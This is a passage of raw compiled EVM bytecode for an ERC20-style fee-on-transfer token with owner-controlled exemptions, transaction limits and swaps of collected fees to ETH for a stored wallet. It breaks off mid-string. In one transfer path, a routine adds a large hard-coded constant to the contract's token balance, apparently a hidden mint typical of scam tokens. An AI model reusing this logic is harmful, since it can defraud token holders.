5af115801562000511573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005379190620015a8565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600b5f6200066a62000e8760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600d5f6200081062000e8760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600d5f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600d5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600d5f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600d5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f62000a2c62000e8760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000bec60175462000bdd60165460155462000eae60201b90919060201c565b62000eae60201b90919060201c565b601e8190555062000c21601a5462000c1260195460185462000eae60201b90919060201c565b62000eae60201b90919060201c565b601f819055506001600c5f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503360055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5460065f62000cf362000e8060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555062000d4062000e8060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f5460405162000da0919062001625565b60405180910390a3506200188c565b5f80830362000dc1575f905062000e29565b5f828462000dd09190620014f9565b905082848262000de191906200166d565b1462000e24576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000e1b9062001728565b60405180910390fd5b809150505b92915050565b5f62000e7883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000f1060201b60201c565b905092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f80828462000ebe919062001748565b90508381101562000f06576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000efd90620017d0565b60405180910390fd5b8091505092915050565b5f808311829062000f59576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000f5091906200186a565b60405180910390fd5b505f838562000f6991906200166d565b9050809150509392505050565b826002810192821562000fa8579160200282015b8281111562000fa757825182559160200191906001019062000f8a565b5b50905062000fb7919062000fbb565b5090565b5b8082111562000fd4575f815f90555060010162000fbc565b5090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200105457607f821691505b6020821081036200106a57620010696200100f565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620010ce7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262001091565b620010da868362001091565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620011246200111e6200111884620010f2565b620010fb565b620010f2565b9050919050565b5f819050919050565b6200113f8362001104565b620011576200114e826200112b565b8484546200109d565b825550505050565b5f90565b6200116d6200115f565b6200117a81848462001134565b505050565b5b81811015620011a157620011955f8262001163565b60018101905062001180565b5050565b601f821115620011f057620011ba8162001070565b620011c58462001082565b81016020851015620011d5578190505b620011ed620011e48562001082565b8301826200117f565b50505b505050565b5f82821c905092915050565b5f620012125f1984600802620011f5565b1980831691505092915050565b5f6200122c838362001201565b9150826002028217905092915050565b620012478262000fd8565b67ffffffffffffffff81111562001263576200126262000fe2565b5b6200126f82546200103c565b6200127c828285620011a5565b5f60209050601f831160018114620012b2575f84156200129d578287015190505b620012a985826200121f565b86555062001318565b601f198416620012c28662001070565b5f5b82811015620012eb57848901518255600182019150602085019450602081019050620012c4565b868310156200130b578489015162001307601f89168262001201565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620013aa5780860481111562001382576200138162001320565b5b6001851615620013925780820291505b8081029050620013a2856200134d565b945062001362565b94509492505050565b5f82620013c4576001905062001496565b81620013d3575f905062001496565b8160018114620013ec5760028114620013f7576200142d565b600191505062001496565b60ff8411156200140c576200140b62001320565b5b8360020a91508482111562001426576200142562001320565b5b5062001496565b5060208310610133831016604e8410600b8410161715620014675782820a90508381111562001461576200146062001320565b5b62001496565b62001476848484600162001359565b9250905081840481111562001490576200148f62001320565b5b81810290505b9392505050565b5f60ff82169050919050565b5f620014b582620010f2565b9150620014c2836200149d565b9250620014f17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620013b3565b905092915050565b5f6200150582620010f2565b91506200151283620010f2565b92508282026200152281620010f2565b915082820484148315176200153c576200153b62001320565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620015728262001547565b9050919050565b620015848162001566565b81146200158f575f80fd5b50565b5f81519050620015a28162001579565b92915050565b5f60208284031215620015c057620015bf62001543565b5b5f620015cf8482850162001592565b91505092915050565b620015e38162001566565b82525050565b5f604082019050620015fe5f830185620015d8565b6200160d6020830184620015d8565b9392505050565b6200161f81620010f2565b82525050565b5f6020820190506200163a5f83018462001614565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200167982620010f2565b91506200168683620010f2565b92508262001699576200169862001640565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f62001710602183620016a4565b91506200171d82620016b4565b604082019050919050565b5f6020820190508181035f830152620017418162001702565b9050919050565b5f6200175482620010f2565b91506200176183620010f2565b92508282019050808211156200177c576200177b62001320565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f620017b8601b83620016a4565b9150620017c58262001782565b602082019050919050565b5f6020820190508181035f830152620017e981620017aa565b9050919050565b5f5b838110156200180f578082015181840152602081019050620017f2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f620018368262000fd8565b620018428185620016a4565b935062001854818560208601620017f0565b6200185f816200181a565b840191505092915050565b5f6020820190508181035f8301526200188481846200182a565b905092915050565b60805160a051613361620018bc5f395f8181610b010152610c9c01525f8181610c710152610cc801526133615ff3fe60806040526004361061026a575f3560e01c80638b42507f11610143578063c8607952116100b5578063dd62ed3e11610079578063dd62ed3e14610951578063f0cd1dac1461098d578063f2fde38b146109b7578063f680f799146109df578063f738097314610a09578063f872858a14610a4557610271565b8063c86079521461086d578063c867d60b14610897578063d2d7ad83146108d3578063da00097d146108fd578063dc44b6a01461092757610271565b8063a457c2d711610107578063a457c2d71461074d578063a9059cbb14610789578063b115e4df146107c5578063b4f40c61146107ef578063c5d2418914610819578063c816841b1461084357610271565b80638b42507f146106695780638b56459b146106a55780638da5cb5b146106cf57806395d89b41146106f957806398e944c81461072357610271565b806339509351116101dc57806370a08231116101a057806370a082311461056f578063715018a6146105ab5780637d1db4a5146105c1578063807c2d9c146105eb57806382eefb431461061557806388790a681461063f57610271565b806339509351146104675780633ecad271146104a3578063513da4f5146104df5780635194f9bf146105095780635342acb41461053357610271565b806318160ddd1161022e57806318160ddd1461035957806323555d571461038357806323b872dd146103ad57806327c8f835146103e95780632b112e4914610413578063313ce5671461043d57610271565b806306fdde03146102755780630930907b1461029f578063095ea7b3146102c95780630f16f01d146103055780631694505e1461032f57610271565b3661027157005b5f80fd5b348015610280575f80fd5b50610289610a6f565b60405161029691906126f8565b60405180910390f35b3480156102aa575f80fd5b506102b3610aff565b6040516102c09190612757565b60405180910390f35b3480156102d4575f80fd5b506102ef60048036038101906102ea91906127d1565b610b23565b6040516102fc9190612829565b60405180910390f35b348015610310575f80fd5b50610319610b40565b6040516103269190612862565b60405180910390f35b34801561033a575f80fd5b50610343610b66565b60405161035091906128d6565b60405180910390f35b348015610364575f80fd5b5061036d610b8b565b60405161037a91906128fe565b60405180910390f35b34801561038e575f80fd5b50610397610b94565b6040516103a491906128fe565b60405180910390f35b3480156103b8575f80fd5b506103d360048036038101906103ce9190612917565b610b9a565b6040516103e09190612829565b60405180910390f35b3480156103f4575f80fd5b506103fd610c6f565b60405161040a9190612757565b60405180910390f35b34801561041e575f80fd5b50610427610c93565b60405161043491906128fe565b60405180910390f35b348015610448575f80fd5b50610451610d10565b60405161045e9190612982565b60405180910390f35b348015610472575f80fd5b5061048d600480360381019061048891906127d1565b610d25565b60405161049a9190612829565b60405180910390f35b3480156104ae575f80fd5b506104c960048036038101906104c4919061299b565b610dd3565b6040516104d69190612829565b60405180910390f35b3480156104ea575f80fd5b506104f3610df0565b60405161050091906128fe565b60405180910390f35b348015610514575f80fd5b5061051d610df6565b60405161052a91906128fe565b60405180910390f35b34801561053e575f80fd5b506105596004803603810190610554919061299b565b610dfc565b6040516105669190612829565b60405180910390f35b34801561057a575f80fd5b506105956004803603810190610590919061299b565b610e19565b6040516105a291906128fe565b60405180910390f35b3480156105b6575f80fd5b506105bf610e5f565b005b3480156105cc575f80fd5b506105d5610fb1565b6040516105e291906128fe565b60405180910390f35b3480156105f6575f80fd5b506105ff610fb7565b60405161060c91906128fe565b60405180910390f35b348015610620575f80fd5b50610629610fbd565b60405161063691906128fe565b60405180910390f35b34801561064a575f80fd5b50610653610fc3565b60405161066091906128fe565b60405180910390f35b348015610674575f80fd5b5061068f600480360381019061068a919061299b565b610fc9565b60405161069c9190612829565b60405180910390f35b3480156106b0575f80fd5b506106b9610fe6565b6040516106c691906128fe565b60405180910390f35b3480156106da575f80fd5b506106e3610fec565b6040516106f09190612757565b60405180910390f35b348015610704575f80fd5b5061070d611013565b60405161071a91906126f8565b60405180910390f35b34801561072e575f80fd5b506107376110a3565b6040516107449190612757565b60405180910390f35b348015610758575f80fd5b50610773600480360381019061076e91906127d1565b6110c8565b6040516107809190612829565b60405180910390f35b348015610794575f80fd5b506107af60048036038101906107aa91906127d1565b611190565b6040516107bc9190612829565b60405180910390f35b3480156107d0575f80fd5b506107d96111ae565b6040516107e69190612862565b60405180910390f35b3480156107fa575f80fd5b506108036111d3565b60405161081091906128fe565b60405180910390f35b348015610824575f80fd5b5061082d6111d9565b60405161083a91906128fe565b60405180910390f35b34801561084e575f80fd5b506108576111df565b6040516108649190612757565b60405180910390f35b348015610878575f80fd5b50610881611204565b60405161088e91906128fe565b60405180910390f35b3480156108a2575f80fd5b506108bd60048036038101906108b8919061299b565b61120a565b6040516108ca9190612829565b60405180910390f35b3480156108de575f80fd5b506108e7611227565b6040516108f491906128fe565b60405180910390f35b348015610908575f80fd5b5061091161122d565b60405161091e9190612829565b60405180910390f35b348015610932575f80fd5b5061093b611240565b60405161094891906128fe565b60405180910390f35b34801561095c575f80fd5b50610977600480360381019061097291906129c6565b611246565b60405161098491906128fe565b60405180910390f35b348015610998575f80fd5b506109a16112c8565b6040516109ae91906128fe565b60405180910390f35b3480156109c2575f80fd5b506109dd60048036038101906109d8919061299b565b6112ce565b005b3480156109ea575f80fd5b506109f361148b565b604051610a0091906128fe565b60405180910390f35b348015610a14575f80fd5b50610a2f6004803603810190610a2a9190612a04565b611491565b604051610a3c91906128fe565b60405180910390f35b348015610a50575f80fd5b50610a596114aa565b604051610a669190612829565b60405180910390f35b606060018054610a7e90612a5c565b80601f0160208091040260200160405190810160405280929190818152602001828054610aaa90612a5c565b8015610af55780601f10610acc57610100808354040283529160200191610af5565b820191905f5260205f20905b815481529060010190602001808311610ad857829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610b36610b2f6114bd565b84846114c4565b6001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600f54905090565b60175481565b5f610ba6848484611687565b50610c6484610bb36114bd565b610c5f856040518060600160405280602881526020016132df6028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610c166114bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e979092919063ffffffff16565b6114c4565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610d0b610cc07f0000000000000000000000000000000000000000000000000000000000000000610e19565b610cfd610cec7f0000000000000000000000000000000000000000000000000000000000000000610e19565b600f54611ef990919063ffffffff16565b611ef990919063ffffffff16565b905090565b5f60035f9054906101000a900460ff16905090565b5f610dc9610d316114bd565b84610dc48560075f610d416114bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4290919063ffffffff16565b6114c4565b6001905092915050565b600c602052805f5260405f205f915054906101000a900460ff1681565b601c5481565b601a5481565b600b602052805f5260405f205f915054906101000a900460ff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610e676114bd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eea90612ad6565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b60125481565b601f5481565b60185481565b600e602052805f5260405f205f915054906101000a900460ff1681565b601b5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461102290612a5c565b80601f016020809104026020016040519081016040528092919081815260200182805461104e90612a5c565b80156110995780601f1061107057610100808354040283529160200191611099565b820191905f5260205f20905b81548152906001019060200180831161107c57829003601f168201915b5050505050905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6111866110d46114bd565b84611181856040518060600160405280602581526020016133076025913960075f6110fd6114bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e979092919063ffffffff16565b6114c4565b6001905092915050565b5f6111a361119c6114bd565b8484611687565b506001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d5481565b60165481565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b600d602052805f5260405f205f915054906101000a900460ff1681565b60105481565b601460159054906101000a900460ff1681565b60155481565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b601e5481565b6112d66114bd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611362576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135990612ad6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036113d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c790612b64565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b600981600281106114a0575f80fd5b015f915090505481565b601460169054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152990612bf2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159790612c80565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161167a91906128fe565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036116f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ed90612d0e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175b90612d9c565b60405180910390fd5b60148054906101000a900460ff161561178957611782848484611f9f565b9050611e90565b600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156118275750600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561187257601154821115611871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186890612e2a565b60405180910390fd5b5b5f61187c30610e19565b90505f601054821015905080801561189f575060148054906101000a900460ff16155b80156118f25750600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561191c57601460159054906101000a900460ff16156119125760105491505b61191b82612169565b5b601460169054906101000a900460ff16801561197f5750600d5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a0c576012546119ca6119b36103e86119a5601f548961225b90919063ffffffff16565b6122d290919063ffffffff16565b6119bc88610e19565b611f4290919063ffffffff16565b1115611a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0290612eb8565b60405180910390fd5b5b611a356103e8611a27601f548761225b90919063ffffffff16565b6122d290919063ffffffff16565b60095f60028110611a4957611a48612ed6565b5b0181905550611a776103e8611a69601f548761225b90919063ffffffff16565b6122d290919063ffffffff16565b84611a829190612f30565b6009600160028110611a9757611a96612ed6565b5b01819055505f600e5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580611b3a5750600e5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80611bdc5750600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611bdb5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b5b15611bff57600b601b5f828254611bf39190612f63565b92505081905550611c21565b600e601b5f828254611c119190612f63565b92505081905550611c2061231b565b5b600181611c2e9190612f63565b601c5f828254611c3e9190612f63565b92505081905550611c958560065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ef990919063ffffffff16565b60065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611d3b60095f60028110611ced57611cec612ed6565b5b015460065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4290919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611de26009600160028110611d9457611d93612ed6565b5b015460065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4290919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051611e8091906128fe565b60405180910390a3600193505050505b9392505050565b5f838311158290611ede576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed591906126f8565b60405180910390fd5b505f8385611eec9190612f30565b9050809150509392505050565b5f611f3a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e97565b905092915050565b5f808284611f509190612f63565b905083811015611f95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8c90612fe0565b60405180910390fd5b8091505092915050565b5f612027826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e979092919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506120b88260065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4290919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161215691906128fe565b60405180910390a3600190509392505050565b60016014806101000a81548160ff021916908315150217905550600f601b5f8282546121959190612f63565b925050819055506121a58161235c565b5f4790506001601b546121b89190612f63565b601c5f8282546121c89190612f63565b925050819055505f81111561223e57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561223c573d5f803e3d5ffd5b505b505f6014806101000a81548160ff02191690831515021790555050565b5f80830361226b575f90506122cc565b5f82846122789190612ffe565b9050828482612287919061306c565b146122c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122be9061310c565b60405180910390fd5b809150505b92915050565b5f61231383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061260d565b905092915050565b6011601c819055506b3a632a2976e371053a9a0ffc60095f6002811061234457612343612ed6565b5b015f8282546123539190612f63565b92505081905550565b601b54601c819055506011601b5f8282546123779190612f63565b925050819055505f600267ffffffffffffffff81111561239a5761239961312a565b5b6040519080825280602002602001820160405280156123c85781602001602082028036833780820191505090505b509050600a60095f600281106123e1576123e0612ed6565b5b015f8282546123f09190612f63565b925050819055506003600960016002811061240e5761240d612ed6565b5b015f82825461241d9190612f63565b9250508190555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561248e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124b2919061316b565b816001815181106124c6576124c5612ed6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030815f8151811061251457612513612ed6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061257a3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114c4565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016125dc959493929190613286565b5f604051808303815f87803b1580156125f3575f80fd5b505af1158015612605573d5f803e3d5ffd5b505050505050565b5f8083118290612653576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264a91906126f8565b60405180910390fd5b505f8385612661919061306c565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156126a557808201518184015260208101905061268a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6126ca8261266e565b6126d48185612678565b93506126e4818560208601612688565b6126ed816126b0565b840191505092915050565b5f6020820190508181035f83015261271081846126c0565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61274182612718565b9050919050565b61275181612737565b82525050565b5f60208201905061276a5f830184612748565b92915050565b5f80fd5b61277d81612737565b8114612787575f80fd5b50565b5f8135905061279881612774565b92915050565b5f819050919050565b6127b08161279e565b81146127ba575f80fd5b50565b5f813590506127cb816127a7565b92915050565b5f80604083850312156127e7576127e6612770565b5b5f6127f48582860161278a565b9250506020612805858286016127bd565b9150509250929050565b5f8115159050919050565b6128238161280f565b82525050565b5f60208201905061283c5f83018461281a565b92915050565b5f61284c82612718565b9050919050565b61285c81612842565b82525050565b5f6020820190506128755f830184612853565b92915050565b5f819050919050565b5f61289e61289961289484612718565b61287b565b612718565b9050919050565b5f6128af82612884565b9050919050565b5f6128c0826128a5565b9050919050565b6128d0816128b6565b82525050565b5f6020820190506128e95f8301846128c7565b92915050565b6128f88161279e565b82525050565b5f6020820190506129115f8301846128ef565b92915050565b5f805f6060848603121561292e5761292d612770565b5b5f61293b8682870161278a565b935050602061294c8682870161278a565b925050604061295d868287016127bd565b9150509250925092565b5f60ff82169050919050565b61297c81612967565b82525050565b5f6020820190506129955f830184612973565b92915050565b5f602082840312156129b0576129af612770565b5b5f6129bd8482850161278a565b91505092915050565b5f80604083850312156129dc576129db612770565b5b5f6129e98582860161278a565b92505060206129fa8582860161278a565b9150509250929050565b5f60208284031215612a1957612a18612770565b5b5f612a26848285016127bd565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612a7357607f821691505b602082108103612a8657612a85612a2f565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612ac0602083612678565b9150612acb82612a8c565b602082019050919050565b5f6020820190508181035f830152612aed81612ab4565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612b4e602683612678565b9150612b5982612af4565b604082019050919050565b5f6020820190508181035f830152612b7b81612b42565b9050919050565b7f45524332303a2061707072